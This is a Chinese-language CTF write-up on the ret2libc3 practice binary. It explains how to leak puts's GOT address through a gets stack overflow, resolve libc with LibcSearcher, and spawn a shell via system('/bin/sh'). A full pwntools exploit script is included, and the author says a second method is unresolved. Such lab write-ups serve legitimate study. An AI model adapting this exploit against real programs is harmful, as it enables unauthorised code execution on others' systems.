ret2libc3

查看保护


没有system函数也没有binsh,那我们就要找到对应的.so库获取库里面对应的system函数的地址和/bin/sh的地址。

思路:

1.泄露 一个调用函数的 地址

2.获取 libc 版本

3.获取 system 地址与 /bin/sh 的地址

4.再次执行源程序

5.触发栈溢出执行 system(‘/bin/sh’)

所以我们就是要通过知道libc中的一个函数地址,然后明确之间的地址偏移来确定libc。

方法一:gets函数处存在栈溢出漏洞(申请64h大小,但是gets无限制),在gets之前已经运行了puts函数,故选择泄露puts函数的真实地址,因为其执行后真实地址等信息已经存入plt、got表内。通过puts()函数,因为其执行后真实地址等信息已经存入plt、got表内(由于libc的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,已经执行过的话就会在got表生存下来,有了真实的地址的信息)。将__libc_start_main在libc中的地址泄露出来,然后通过LibcSearcher去查找libc的版本,最终得到system()函数和"/bin/sh"字符串的地址,然后再回到程序最开始的地方准备执行接下来的操作。

第一次传送,接收掉原文件的输出语句内容,如果不接收,则输入的payload便无法与之交互,文件的执行就会一直处于等待状态。发送payload,进行栈的填充。得到puts函数的真实地址,recv(4)是指只接收四个字节的信息,因为puts的地址信息只存在于前四个字节,u32是指解包unpack,将一块数据解包成四个字节。

爆偏移量

脚本:

#!/usr/bin/env python

#-*-coding:utf-8-*-

from pwn import *

from LibcSearcher import LibcSearcher

sh = process('./ret2libc3')

elf = ELF('./ret2libc3')#泄露地址

puts = elf.plt['puts']

puts_got = elf.got['puts']

main = elf.symbols['_start']

payload1 = ''

payload1 += 'a'*112

payload1 += p32(puts)

payload1 += p32(main)

payload1 += p32(puts_got)

sh.sendlineafter('!?',payload1)# 得到的是got表里puts的真实地址

puts_addr = u32(sh.recv()[0:4])#将得到的地址解包

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')#算出基地址

system = libcbase + libc.dump('system')

binsh = libcbase + libc.dump('str_bin_sh')#计算system,/bin/sh的实际加载地址

payload = ''

payload += 'a'*112

payload += p32(system)

payload += 'a'*4

payload += p32(binsh)

sh.sendline(payload)

sh.interactive() 

运行脚本

方法二:利用main函数,泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。

我的脚本出了问题,还没解决,也不太明白为什么wiki里面get shell时偏移变成了104,还需要继续研究。

填充个数=ebp+4−(exp+1c)

你可能感兴趣的:(ret2libc3)